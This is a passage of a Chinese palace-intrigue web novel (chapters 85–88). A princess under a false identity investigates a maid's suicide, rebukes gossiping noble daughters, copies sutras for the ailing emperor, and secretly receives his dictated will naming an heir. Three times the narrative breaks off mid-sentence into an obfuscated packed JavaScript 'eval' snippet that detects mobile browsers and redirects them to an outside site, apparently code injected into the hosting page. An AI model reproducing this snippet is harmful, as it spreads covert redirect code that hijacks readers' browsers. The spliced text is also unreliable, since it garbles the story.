第三日一早,吏部尚书夫人李氏便带着两个女儿来给惠妃问安,李夫人见礼后便拉着暖暖的手,夸赞道:“郡主生得模样这般好,竟如惠妃娘娘的亲生女儿一般,看着就是有福之人,我自家嫂子有个侄儿,是候府嫡子,生得一表人才,又文武双全,如今也到了议婚的年纪来,不知娘娘意下如何?” “我自然是愿意,但是还要看她家里的意思和她的意思。”惠妃说完看向暖暖。 暖暖正无心听虚假的客套话,便把头一低,略带着些娇羞说道:“娘娘惯会打趣我,我不听你们说话了。”说着转身要走。 惠妃无奈地笑着抬手点了点她:“你呀,别让尚书夫人见笑了,带着两个妹妹出去玩玩吧……” 终于有机会出去来,暖暖痛快地答应并带着两位女子告退,出来大殿才松了口气。细看这两个女子,一个身着翠色衣衫,一个身着蓝色衣衫,长相也十分相似,想来应是亲姐妹,皆生得亭亭玉立、姿态曼妙。。 她也不问她们想去哪里,直接将她们带至后苑,只因这里离着她之前居住的院子近。与二人客气了几句后,她命画眉在此等候,借着更衣的由头带着舒雁离开。 快步行至院门处才发现大门已被上了锁,她拿起锁看了看,没有一点风吹雨淋的痕迹,是新近才锁上的。 怎么会这样?她不甘心地使劲拍了拍门,可这锁是从外面锁的,哪里会有人回应。左右看了看发现一个洒扫的中官,便想上前去询问,刚走了两步忽觉不妥,彩萍在这里这么久都没人来管,怎么她来过之后就锁来门,其中一定有缘故,于是她对舒雁耳语了一番。 85. 软语施恩威 舒雁走上前去,对中官说道:“劳烦问一下,这院子怎么上锁了?主子的猫跑来进去,奴婢想进去找找。” “你不知道么?”那中官左右看了看,小声说道:“你快离这儿远些,昨日里面吊死了一个疯婆子,那婆子疯了好几年了,不知怎么就自尽了。” 舒雁还想再打听些细节,却被那中官撵着离开,她赶紧将事情回禀给郡主。 暖暖听完一身冷汗,难道是因为她们见面的缘故,回想那日在太极殿内荣贵妃的眼神,一定是认出了她。对方已经开始行动了,而她现在却无能为力,她必须想办法见一见叶皓。 “嘿!” 突如其来的声音让暖暖骇得苍白了脸色,直觉面前一个巨物闪过,身体不由自主地一颤,幸亏有舒雁及时扶住。 “何至于这样?”叶皓看着她的样子,心中疑惑。 暖暖看清来人,眼中便蓄上泪水,睫毛一抖滴落下来,她心中压抑,见他竟还在笑,不由得有些怒气,握拳向他身上砸去,边砸边说道:“让你吓我,让你吓我……” 叶皓抬着胳膊挡住拳头:“发什么疯呢?舒雁,还不快拦着点……” 舒雁知他二人有话要说,她不便上前,只是低声叫了一声:郡主。 暖暖发泄完情绪,蹲下身来抱住膝盖抽泣不止。 才进宫几日,怎么就成了这个样子!叶皓有些担忧,单膝蹲下来抚着她的背问道:“这是怎么了?发生什么事了?” 暖暖断断续续地说了彩萍之事,叶皓听完,面色也变得严肃起来,沉默了一会儿后将她扶起来,说道:“此事先不要查了,宫中侍女这么多,定然会有知情之人,现在去查只会牵连更多无辜,还会打草惊蛇。” 暖暖拭着泪点点头,的确是这样,彩萍就是个例子。 “平日里小心些,等治了荣贵妃之罪再查你母亲之事便也容易了。” 暖暖又是点头,待平复来情绪后才问道:“你今日怎么进宫来了?” “昨日没收到消息,我以为出了什么事。” 暖暖这才想起昨日是约定之日,她拍了拍头说道:“是我这几日失了理智,劳烦哥哥跑一趟。” 叶皓半开着玩笑:“亏得我来了,要不然不知道你会捅出什么篓子来……不过出了这么大的事,你也算冷静了。” “我母亲悲苦一生,竟然走的也是糊里糊涂。”暖暖神色黯然。 “你放心,此事我以后一定会查清楚。” 二人慢慢往回走,舒雁小声提醒道:“郡主,尚书家的小姐还在后苑中。” “呀!竟把她二人忘了……哥哥先回去吧。”暖暖说着便折返回去。 到了原处却不见人迹,画眉也不见来踪迹,她只得四处寻找起来。沿着池边山石小路钻过山洞,便隐隐听见前面的水榭处笑语晏晏,刚想过去却听见一个声音说道:“原来是这样,如此说来,信王殿下不立正妃,竟是这个女子的缘故。” 难道叶皓与锦瑟之事已人尽皆知?深闺中的女子竟然都知晓一二,暖暖驻足继续听下去。 “真不知道是谁给殿下出的主意,认作妹妹养在府中,真是滑天下之大稽。” “妹妹慎言,民间谣传并不可信。” “也就姐姐不信,刚才丫头都亲眼看见了,二人那亲密无间的样子,啧啧,在宫里竟还敢这般放肆……惠妃娘娘可真是用心良苦,将那个妖女收到身边调教,若是我早就赐死了……也就姐姐傻,还想着嫁给信王。” 暖暖一怔,原来是在说她自己,坊间的传闻竟然如此不堪,而她居然半点也不知,看来是哥哥们将她保护得太好了。而她的归来给亲人造成了这么多困扰,若是当年死在重峪关也许就不是这样了吧。 舒雁上前扶住她:“郡主莫怕,奴婢这就去回禀娘娘。” 暖暖看了一眼舒雁,回过神来,立刻将之前的想法从脑海中抹掉,这回她不会再逃避,要打起精神来面对一切危机。 她舒展了眉头,嘴角勾勒出一抹浅笑:“区区几句闲话算得上什么?你家郡主大风大浪都经过了,还怕这点猜疑吗?” 她理了理衣裙,扶着舒雁的手缓缓走向水榭,边走边笑道:“妹妹们原来在这里,让我一顿好找,天色不早了,咱们该回去了。” 二人被骇了一跳,尴尬地对她行礼问安。 “刚才妹妹们说什么来着,这般好笑?”暖暖提着裙摆下来台阶,款步而行,现在该担忧的是她们。 其中身着绿衣衫的姐姐说道:“没什么,只是在看池里的鱼儿。” “哦,是吗?我怎么隐隐听见说到了信王殿下?还有什么妖女?”暖暖说完,意味深长地看来二人一眼。 绿衣衫听了面色变得苍白,看了一眼蓝衣衫女子,却听蓝衣衫女子说道:“是臣女方才说殿下正人君子,是不会被妖女迷惑的。” 暖暖掩面一笑:“姑娘多虑了,我哥哥天潢贵胄,品行端方,自然是克己复礼,哪里会接触什么妖女。我寄居他府中时,从未听过这些传言。” “是、是……四殿下人品贵重,无人不夸无人不赞。”绿衣衫见她未动怒,赶紧掐了一把蓝衣衫,不动声色地快走两步将蓝衣衫挡在身后。 “我哥哥早年四处游历,此番归来久居京中,想来也是为了议亲一事。”暖暖驻足小声对二人说道:“此处无人,我奉劝两位妹妹一声,这宫中不比自家府中,一言不慎便是性命不保若是今日之话被有心人听去了,说不定会被安上个污蔑皇子的罪名。到时候罢官免职、全家流放、或是满门抄斩也不是不可能。” 二人果然被吓道,连忙叩首道:“郡主恕罪,臣女就是随口说说,并不是真心的。” 暖暖忙拉起她们来,笑道:“二位妹妹又没说什么,这般紧张做什么?尚书府家世清白、门风严谨,自然会教出好姑娘来。” 见她们不语,她也不再多言,也不愿与她们通行,回头吩咐舒雁道:“舒雁,送二位小姐回去,别让尚书夫人等急了,我在此等等画眉。” 舒雁应声领着二人去了,见三人绕过花树转弯后暖暖才舒了一口气,想她二十年来也未经历过这样的情况,不,在祁囯有一次,不过有冷逸尘挡在她前面。 唉,怎么又想到他了……画眉哪里去了,怎么半日也不见人。正想着,忽见叶皓自树影中出来。 “你怎么没去陪娘娘?” “尚书夫人在,我不便过去。”叶皓说完上下打量来她一眼:“平日里你倒是装得乖顺,今日终于露出獠牙了。” 暖暖瞥了他一眼:“哼!我什么样你还不知道,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267756|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得与她们计较罢了,唉!以前我最看不惯这些小女子之间的明争暗斗,如今自己却也变成了这样。” “该还击的时候就还击,你以前总忍着,才让别人觉得你软弱可欺。” 以前若是不忍着荣妃,只怕日子会更不好过。这一点,叶皓未曾经历过,也不会理解解。暖暖不言其他,只问道:“你要出宫去吗?” “是,只不过还想再叮嘱你几句,以后出门带上冰绡,切不可贸然行事,一些小心。” “哥哥放心!” 叶皓走后,就见画眉从小路钻出,暖暖忙叫住她:“画眉,你去那里了?半日也不见人。” 画眉神色有些慌张:“郡主恕罪,奴婢……奴婢去更衣,又迷路了。” 暖暖也不追究,想着如何探查消息,与她一起回了金华殿。 想收集消息,必然要多走多看。于是每日暖暖便趁着中午人少十分出门,这几年里梁宫的变化还是挺大的。梁帝后妃虽多,但到了知天命这个年纪,也故去了大半。梁帝的后宫,仅有重华殿的荣贵妃并金华殿的惠妃、临华殿的淑妃三位妃嫔,其余的婕妤、美人、良人等五人。 后宫虽皆以荣贵妃为尊,但是真正让人心悦诚服的却是惠妃。惠妃是梁帝身边的老人,平日里待人宽厚没有架子,平日里后妃们都喜欢来她殿中说话,因此这金华殿是后宫中最热闹的地方。暖暖觉得,在交友这一点上,叶皓深得惠妃真传。 嫔妃不多,所需要的宫殿也就不多,偌大个梁宫,便空出了很多宫殿。这些宫殿一部分封锁起来了,一部分被改成了佛堂。这几年来,暖暖也注意到民间的佛教盛行,渐有盖过道家之势。或许正是宫中的对佛教的倡导与扶持,在建筑寺庙、修建塔院等方面大力支持支持,才使佛教在民间盛行开来。 但相较于佛家,暖暖更信奉三清,她对佛经里的“生死轮回”“因果报应”,总是不相信的,这些只不过是人们对美好愿景期许和对无法释怀的遗憾的无奈罢了,相对于这些教义,还是道家“大道无为”更切实一些。 之前她与母亲住的宫室,她再未靠近过,她只怕思念会将她淹没,她现在没有时间去悲伤。后苑是她常去的地方,现在这里变得很冷清,偶尔会遇见一两个散步的妃嫔,但是也只是行礼后便离开,她们与她并不多交言。暖暖只得十分小心地行事。 该如何接近荣贵妃,着实是难住了她。 荣贵妃的的宫殿与太极殿仅有一道甬路之隔,这两年梁帝几乎不出太极殿,批阅奏议、召见臣工均在此处,荣贵妃日日也在太极殿,后宫之人求见一概驳回、来人一律不得入内。这两个区域几乎被隔离起来,想靠近这里着实不易。这更加重了她的疑惑,如此隐蔽必然是为了掩饰什么,可到底是为了什么? 她日日忧愁,后来便是烦躁。 很快,二十日的时间过去了,所能得到的消息几乎无用,太极殿和重华殿如铁桶一般,毫无缝隙可入。暖暖变得十分焦虑,头疼的病症几乎到了药石难医的程度,每每发作之时,头似乎要炸裂一般,并伴有恶心、呕吐的症状。 平日里也只觉得烦躁异常,就连婢女的呼吸声音都觉得很吵,她为了不打扰到惠妃,午膳后便日日到后苑去信步。 渐渐地,她发现后苑的侍女中官多了起来。 86. 佛法参真意 这些人必然是来防着她的,若此时畏畏缩缩只会令人生疑,只要一切如常不要让他们抓住错处便好。 日暖风清的午后,后苑水榭荷香弥漫中,微风给沉沉欲睡的暖暖带来一丝清凉,她起身舒展了一下筋骨,摘了几片柳叶丢在池中,看着鱼儿轻啄嬉戏。 正当她入神之时,舒雁轻轻叫了一声“郡主”,她转头见王中官正侍立在水榭外。 这王中官已在梁帝身边服侍三十多年,是梁帝最信任的人,连荣贵妃都要对他客气三分。 她赶紧起身来到水榭外,问道:“王中官今日怎么得了空儿?” 王中官行礼:“请郡主殿下安,陛下命郡主到经堂回话。 父皇竟然会想到她,这倒是出乎暖暖的意,她想为自己争取一点时间梳理思绪,于是说道:“王中官稍待,我去换套衣衫。” “陛下就在后苑的佛堂中。” 太极殿离后苑甚远,父皇怎会到这里的佛堂里来?她小心地问道:“王中官,陛下怎么会在这里?” “前几日,成王殿下呈了一本佛经给陛下,说是新译出来的,陛下看了甚是喜欢,又说后苑这里清静,今日便来了这里的经堂诵读。” “敢问中官,陛下找我何事?”暖暖继续试探。 王中官躬身低眉:“陛下未明示,郡主去了便知。” 暖暖见从他口中也套不出什么话来,便整理了衣衫,跟着他来到经堂。 经堂内一片寂静,莲花座上的金身佛像在阳光的辉映下,更显端庄肃穆。 梁帝正盘腿打坐,半眯着眼睛,面带慈祥,身前的案几上摆着一本打开的佛经。若不是身上穿着龙衮、左手捻动着一串佛珠,只怕会让人误以为他本身就是一尊佛像。 如此静谧的氛围,让暖暖连大气也不敢喘,看了王中官一眼,王中官用眼神示意她上前去。 她深吸了一口气又缓缓呼出,走上前去行叩拜礼:“叶青见过陛下,陛下万福金安。” “来啦,坐吧。”梁帝说完,拍了拍身边的莲花形的蒲团。 暖暖迟疑了一下,还是坐到了那蒲团上,她从未离梁帝如此之近。 此时的梁帝语气随和,慈眉善目,没有半点国君的威严。暖暖的记忆中,他总是不苟言笑,带着令人敬畏的严峻之色。 她离他最近的一次是她出嫁前,在太极殿的书房内,她叩拜谢恩,他拿着嫁妆单子,居高临下地说了些骨肉亲情的话。 那时她心有怨怼,只是低头听着,并未去注意他脸上是什么样的神情,只是觉得言语间有几分温和。她还记得最后,他伸手想抚摸她的头,可她顺势叩首躲开了,他的手在半空停顿了一瞬后才收回。 前尘往事如烟散,有些遗憾,再也没有机会弥补。 梁帝指了指案几上的佛经,说道:“给朕念念,朕这眼神不济,看不清楚。” 她拿起佛经,封面上写着《大般涅槃经》,轻轻翻开,缓缓念叨:“大般涅槃经者,盖是法身之玄堂,正觉之实称,众经之渊境,万流之宗极……” 佛经晦涩,她不解其意,念得很是生疏。 念了几节之后,被梁帝打断:“你可知其中的意思?” 暖暖摇摇头:“佛经深奥,臣女看不懂。” “这是谢公义整理翻译的《南本涅槃经》,一共三十六卷,是照着《大般涅槃经》改编的。说起来,昙无谶《大般涅槃经》才是正统。大般涅槃含龙衮、般若、解脱的佛之三德,代表着大乘佛教的真实理想,它是渊深如海的大寂禅定,如同夏日般光明璀璨,绝对永恒无有变易,怜爱众生犹如父母,济度痴迷出离生死,不生不灭无穷无尽,是超出世俗的宁静、光明、永恒、慈慧、超越的解脱的境界。” 暖暖听得云里雾里,附和不了一点,只能点头称是:“臣女对佛法没有研习,但是觉得这经堂庄严安静,是个修身养性的好地方。” 梁帝收了佛经,说道:“你这孩子很好,有耐心、不聒噪。朕命人将昙无谶《大般涅槃经》找出来,明日此时,你再过来给朕读一读……今日不早了,退下吧。” 暖暖行礼,叩拜告退。 回去后,她特地向惠妃请教佛学要义,又连夜研习来佛经,以便今日能与父皇对答几句。次日,她如约而至。 能将佛经流畅地读下来,梁帝对此十分满意,命王中官为她安排个单独的案几,指着经幡说道:“替朕将佛法抄到经幡上,待到秋社时祭祀用。” 此后,她便日日到经堂抄经,梁帝隔三差五才来坐上半日。 暖暖发现梁帝的精神一日不如一日,大多时间是半眯着眼睛,不知是不是睡着了,有时他会发出轻微的鼾声,但同时会提醒暖暖坐得端正些。 午后的时光在声声蝉鸣中变得悠远漫长,暖暖看着经文的眼睛逐渐迷离起来…… 世尊即便而说偈言:一切有为法,皆悉归无常;恩爱和合者,必归于别离;诸行法如是,不应生忧憹…… 一束阳光照在她身上,只觉温暖无比,心中也升起了平和之气…… 一声“叶岚……”自侧身传来,是冷逸尘的声音,她转头看过去,看见他一袭青衣坐在那束日光中,目光温柔,清澈的眼神中没有一丝杂质。 这目光让她心头一颤,日光晃眼有些看不清楚,于是伸手去触摸,可冷逸尘却眉头紧皱说了句“等我……”,而后起身后退了,两步消失在了光影中。 “等等……”她急得喊出声来。 毛笔掉在地上,清脆的“叮咚”声让她清醒过来,原来是个梦! 她揉揉眼睛,整理经幡,笔尖上的墨汁已经将经幡洇湿,被墨洇的几个字正是:恩爱和合者,必归于别离。 这几个字大约是佛祖的旨意吧! 恩爱和合者,她们之间是相爱的!她们能成为夫妻,的确是天定的缘分,是上天的恩赐,而后二人相知相惜,若没有这场变故,大概也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278058|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白头到老。 必归于离别,终究还是要离别的!可是,为何还是忘不了他?为何这场告别如此漫长?相逢是缘分,离别也是缘分,人生大抵都是如此! 她起身往香炉里填来一勺香,檀香袅袅,烟雾从香炉中飘出,如同柔软的棉纱,在空气中摇曳生姿。 “你如此抄经可是对佛法的大不敬。”叶皓的声音在她耳边响起。 暖暖犹在梦中,闭着眼睛缓了一会儿,才说道:“什么时候来的?” “刚到,这几次的消息都是一样的,我便进宫来看看。” 暖暖叹了口气:“没有一点进展,我日日在这里抄经,打探不到一点消息。每日人定后,冰绡都会悄悄去太极殿和重华殿监守,一切都是照旧。这段时间太平静了,没有任何事发生,我甚至都怀疑是不是锦瑟故意误导我们,让我们将重点转移。” “不错,很有长进,知道分析时局了。朝中现在也是过于平静,杜绍之虽被升了职,却也是明升暗降,失了一部分权利,杜纯之近来也是安分守己。江源在西南已布防兵力,杜卫若起兵,保他出不了西南。” “那‘宫中有变’到底是什么意思……荣妃即将生产,她竟让还有力气来料理许多事情。”暖暖揉了揉头,过度的思考让她有些头疼。 叶皓拿着经书边思考边说道:“我只怕是暴风雨前的宁静……她至今把持着朝政不放,又压制了杜家兄弟,看来真如你说的一般,是想扶持自己的孩子……荣贵妃什么时候生产?” “大约端午后,也就不到二十日的时间了。不过这也不是能确定的事,或早或晚都有可能。” “嗯……”叶皓边听边思考此事只能往前赶,不能等孩子出生后再做打算,须臾间他已想好如何安排亲军悄悄入京隐蔽起来。他没有将这些告诉暖暖,只是叮嘱道:“近日让冰绡小心留意太极殿和重华殿那边,宫中的卫尉都是父皇亲军,谁也无权调派,他们可保后宫无虞,宫外的事情我来安排……” 暖暖揉揉头:“敌明我暗,要等到什么时候?真不如痛快地大战一场。” 叶皓摇摇头,说道:“真是糊涂,让你读兵法你不读,也白跟着三哥学问了。你须知‘师出有名’,若是出兵,你有什么由头?” 暖暖思考片刻:“除奸佞,清君侧。” “□□妃算奸佞吗?她虽把控朝政,却也未使沧海横流、天下大乱,此刻起兵便是授人以柄,便是谋逆。父皇虽是咱们的父亲,但他也是君王,有些东西只能是他给你,而你不能去要,明白吗?” “我也知道是这个道理,只是这样的日子真是煎熬。” “我也曾有你这样的困惑,但是那时只有老将军的一句话。而如今一切都这么明显了,我们只需静待时机。” 暖暖严肃地听着,边听边点头。 叶皓敲了一下她的头,说道:“我看你是抄经抄傻了!走,外面透口气。”之后又小声道:“我给你带酒了。” 87. 挥袖断旧梦 一听有酒,暖暖瞬间精神起来,出了经堂,只见韦素提着酒侍立,不远处舒雁和画眉背对着他们耳语什么,之后画眉便离开了。 舒雁转身见郡主出来,微微一怔赶紧过来服侍。 暖暖问她道:“画眉怎么来了?她不怕迷路了吗?” 舒雁见叶皓在,行礼问安后,只说道:“画眉去领端午五色丝、桃木和苇叶,顺便来问问郡主什么时候回去?” “以前不问,怎么偏偏今日要问,可有什么事?” 舒雁摇摇头:“奴婢也不知道,或是等郡主回去一起打络子,刻桃印吧。” “这些倒不打紧……韦素,酒给我。”坛口一开,酒香扑鼻,暖暖忍不住大饮了一口,心中说不出的痛快。 叶皓嘲笑道:“可真是想酒想疯了,在这里喝可不行。”于是引着她来到一处偏僻的角落里,捡了两块石头坐下。 “给我来些。”叶皓伸手想拿想拿酒坛。 可暖暖却紧紧护在怀里,说道:“不给,你想喝什么时候都行,我这里可没有,上次拿的只喝了两坛就被彩玉姑姑没收了。” “怎么变得这么护食了。”叶皓哑然失笑。 “不是,是我这头疼的毛病又犯了,喝了酒方觉得好些,可太医又不让饮酒。” “你这病症宫中的太医不一定能医得好,等这事情过了,我带你去东南看看,秦羽的病就是在那里治好的。” 暖暖点点头,想着刚才的如真似幻的梦,迟疑地问道:“哥……最近有他的消息吗?” “谁?”叶皓一时没反应过来,但见她惆怅的表情,便明白了:“哦……没有,只听说祁国内阁最近乱得很,祁国的边境也加强了防卫,没有什么消息。怎么?” “我刚才又梦见他了,梦见他站在光影里离开,大概是来向我道别的……我想我一直梦见他是因为我们骤然分离,没有个交代与了结,我想写封信,有办法交给他吗?” 叶皓皱着眉看着她,说道:“真是傻了,这你也信?只是梦而已,我说过,人多心境是不断变化的,你可要想好,你这样以后会后悔的!” “我不能一直这样下去,他让我等他,你也让我等他。可我不知道要等到什么时候,我甚至都不知道在等什么?最近看了佛法,深有感触,既然万物终会归于无常,等于不等有什么区别,不如早早放下。 “我并不信这佛法,我只知顺势而为、遵从本心,随性随心,方能道法自然……” 暖暖打断他:“我今日不是与你论道,你就说有没有办法吧!” 叶皓思考了一下:“有困难,需要想想办法。” “好,你等我一下。”暖暖命舒雁去经堂里拿笔墨到凉亭里,她现在一身酒气,再进经堂便是不敬。 笔墨具备,她提笔一口气写完,再看时只觉心痛不已,她怕自己会反悔,赶紧折起来交给叶皓:“他给我的信还在淡云阁的书案上,我没有看,一并还给他吧,从此后,我便与他再无瓜葛。” “你呀……唉!”叶皓看着她决绝的目光,也不知道该如何劝解,只得收了信,放到衣袖里:“我该出宫去了。你也回去吧。” “不多陪娘娘一会了吗?” “不了,说多了又要念叨王妃之事了。”叶皓说完,回头看了一眼舒雁。 这猝不及防的一眼,将舒雁吓得后背一凉,赶紧低下头去。 暖暖只盯着手中的两坛酒,并未注意到这些,她向叶皓行礼告辞,然后与舒雁往金华殿方向走。 路上她放缓了脚步,抬手闻了闻自己的袖子,问舒雁道:“我身上还有酒气吗?” 未听见回答,又问了一遍,还是没有回答,回头一看,只见舒雁眉头紧锁,目光直视,脸色有些发白。 她驻足,舒雁没有反应过来,便重重地撞到了她身上。 “这是怎么了?” 舒雁眼睛竟然有些红了,像是下了很大决心似的,一下跪在地上,带着哭腔说道:“郡主,奴婢不愿给殿下当侍妾,请郡主帮帮奴婢。” 这倒是觉得挺突然的,自己身边的人的事,她竟然一点也没有察觉,她拉起舒雁,问道:“究竟是怎么回事?” “前几日,淑妃娘娘不知对惠妃娘娘说了什么,之后惠妃娘娘便叫了奴婢过去,问奴婢可愿意做殿下的侍妾?” “你怎么回答的?” “奴婢怎敢拒绝,能被主子能看上,便是做奴婢的福分。奴婢小时候便在娘娘跟前伺候,娘娘待奴婢极好,若拒绝了娘娘,便是不忠。所以奴婢只能退一步,回答‘奴婢现在服侍郡主,此事需郡主和殿下都同意了才行’,刚才娘娘一定是和殿下说了此事,所以殿下才看了我一眼……现在能帮奴婢的只有郡主了。” “那你看我哥哥是什么意思呢?”暖暖虽这样问,但她心中笃定:叶皓是不会答应的。 舒雁摇摇头:“奴婢不知,殿下孝顺,若顺着娘娘的意思来,也不是没有可能。” “若他二人都同意,我怎么好反对?再说,我哥哥哪里不好了?让你这样看不上。” 舒雁一着急眼泪便落了下来,又跪拜在地,拉着她的的裙摆说道:“殿下人中龙凤,是奴婢配不上殿下……奴婢在此立誓,此生不嫁,服侍郡主一辈子,有违誓言,便天打……” 暖暖见此便知她的真心,忙捂住她的嘴说道:“不要说了,我帮你,起来慢慢说,别说什么配上配不上的,我只想听听你的真实想法。” 舒雁敛了情绪:“奴婢虽为奴籍,可也是正经人家出来的女子,母亲临终前也告诉过奴婢,要嫁人就要做正头娘子,宫中教养奴婢的嬷嬷也是这样教导奴婢的。” “这些年来,奴婢年老老实实、本本分分的只希望平安的熬到出宫,从未想过攀附权贵。若做了妾室,便要事事都看主母的脸色,小心翼翼一辈子,虽说殿下会看在娘娘待面子上照拂奴婢几分,可天长日久的,殿下哪里还会有这样的耐心。” 暖暖擦掉她的眼泪:“有志气,看得也明白,我哥哥的确不是你的良配,你放心,我会帮你。” “多谢郡主。”舒雁点点头,心中安定了几分。 二人继续前行,转过一扇门,便看远远看见两个人,是画眉和一个卫尉装扮的男子。 画眉坐在一块石头上,手中不停地上下翻动,大约是编着五色丝,那男子站在离她三步远的地方,看着她手里的丝线。 舒雁悄悄说道:“刚才当着殿下,奴婢没有说明,画眉是来见他的,他就是上次雨天送画眉回来的卫尉。” “嗯?怪不得刚才鬼鬼祟祟的,原来是怕我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290595|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现。” “她是怕郡主气坏了身子,不敢同郡主说,不过有了上次的教训,她这次倒是什么都跟奴婢说了。” “我只怕她遇人不淑……这人是谁?” “只知他叫肖云平,其他的还不了解,不过宫中卫尉都是各州郡的良家子弟,人品家世都是经得起考验的。” 暖暖点点头:“告诉画眉,人品最重要,这个人还要再多了解了解。告诉她小心一些,这里不比王府,不要违了宫规。” “是,回头奴婢再叮嘱叮嘱她。” 看着二人的身影,暖暖自言自语道:“我会尽自己所能,给你们想要的结果。” 回到金华殿,暖暖正要去见惠妃,彩玉姑姑便悄悄告诉她:“今日殿下又惹娘娘生气了,郡主去劝慰劝慰吧。” “多谢姑姑,可知是因何事?” “为四殿下侍妾之事。” 暖暖一听便知是叶皓拒绝了惠妃的提议,她悬着的心算是放了下来,果然猜得没错,叶皓不是一个能将就的人。 如此,此事便好说了。她进殿劝慰了惠妃一番,说了些男儿应有大志的话,又陪着惠妃用了晚膳,才消了惠妃的怒气。 今日真是疲乏,她悄悄地饮了几盏酒后,很快便入眠,竟是一夜无梦。 后苑的花开了又谢了,日子在紧张中平静地度过。 五月初三下午,暖暖将一部《大般涅槃经》全部抄完,她将最后一张经幡交给梁帝看。 梁帝满意地点了点头,幽幽地说道:“你今年多大了?” 叶岚十九岁,叶青十八岁,暖暖不知如何回答,但转念一想她现在是叶青,于是回答道:“回陛下,臣女今年十八岁。” “朕有个女儿,和你年纪差不多,她是卯时出生的,她出生时满天浓雾,朕赐她‘岚’字为名。等到了午时,雾散去,日光温暖,朕又赐她‘暖暖’为乳名。后来她为了江山社稷、国家安危,嫁到了很远的地方,每每想起此事,朕就觉得对不起她,也不知道她现在怎么样了?还记不记得朕这个做父亲的。” 原来,她的名字是她的父亲赐予她的,原来她的父亲从没有忘记她。此刻,她的父亲只是眼前这个孤独的老人,暖暖看着梁帝,眼中溢泪、心中酸涩不已。 “她……已经……”她没有将坎坷的经历和心中的委屈说出来,只说道:“陛下放心,她过得很好,与夫君琴瑟和鸣、举案齐眉。” 梁帝缓缓抬了一下眼皮:“是吗?那就好……朕的孩子很多,可都不在朕的身边,只有你还愿意陪在我这老头子身边。朕的女儿中,老五最可怜;朕的儿子中,老二虽是长子,却没有担当,老三倒是才学兼备,只是太过执拗,老四,心思只在河川……” 暖暖听着,心情十分复杂,最是无情帝王家,她父亲是多么孤单啊! “好孩子,帮朕写几个字,朕说你写。” “是。”暖暖起身端坐,提笔蘸墨,拿过纸准备着。 梁帝却说:“写在经幡上。” 暖暖偷偷看了一眼梁帝,梁帝的目光不知聚焦在哪里,语气不容置疑,她只得将经幡铺平准备着。 梁帝缓缓开口:朕体不安,今将绝矣!与地合同,终不复起。 暖暖听到身体一震,后脊发凉,这是遗诏啊。 88. 遗诏秘托付 这是遗诏呀! 暖暖有些不敢相信自己的耳朵,心中惊颤,还未落笔的手狠狠抖了一下,转头看向梁帝,只见他依旧半眯着眼睛,没有任何表情地说了句:“写吧。” 她拼命地克制着心和手,将这几个字十分小心地写了出来。 梁帝继续说道:“今立皇三子叶均为太子……” 心头又是一颤,在她心中这个位置是叶皓的,可是……怎么办?她只能继续写下去。 梁帝缓缓地说着:“谨视皇天之嗣,加曾朕在。善遇百姓,赋敛以理;存贤近圣,必聚谞士;表教奉先,自致天子。故胡亥自圮,灭名绝纪。审察朕言,终身毋已。” 梁帝说完,艰难地起身挪了过来,接过她手中的笔,在后面缀了一行小字:叶遵于后苑经堂立此诏,乙巳年五月初三。 这几个字,似乎耗尽了他全身的力气,上身一松,几乎要瘫倒下去。 暖暖立刻将他扶回原位,坐定后之后颤颤巍巍地从怀中掏出了玉玺,可奈何却再没了力气,他将玉玺交给暖暖,示意她盖下去。 暖暖紧张到满手都是汗水,她用手帕将手仔细擦干净,端端正正地伏首叩拜,双手举过头顶,小心翼翼地将玉玺接了过来。 玉玺是温热的,上面留有梁帝胸膛处的余温,她只觉得这玉玺有千斤重。 梁帝顺势靠回了软榻上,闭上眼睛长叹了一口气。 暖暖转过身去,将玉玺扣在了梁帝刚才写的那行小字上,红印上是延始皇玉玺上的字:受命于天,既寿且昌。 她心中忽然一动,一个念头升起,快速地掀开经幡的左下角,在下面的白纸上盖了一个玺印,印完后她双手颤抖,全身发冷,她自己都被这个举动吓了一跳。 没有多的时间去想别的,她强装镇定,假装整理经幡将白纸遮好,而后转身叩首,将遗诏与玉玺一并用双手捧着举过头顶,交还给梁帝。 梁帝只收回来玉玺,缓缓开口道:“经幡你收好,到了必要的时候拿出来,在此之前不要让任何人知道。” 暖暖不敢抬头,不敢说的话,紧张愧疚将她紧紧缠绕起来,让她感到窒息。 时间仿佛停滞一般,每一次呼吸的时间都是那么漫长,不知过来多久,梁帝开口:“起来吧,叶岚。” 听闻此言,暖暖心中一惊:她的父亲一直都认得他。她悲戚又欣慰地叫了一声:“父皇……” 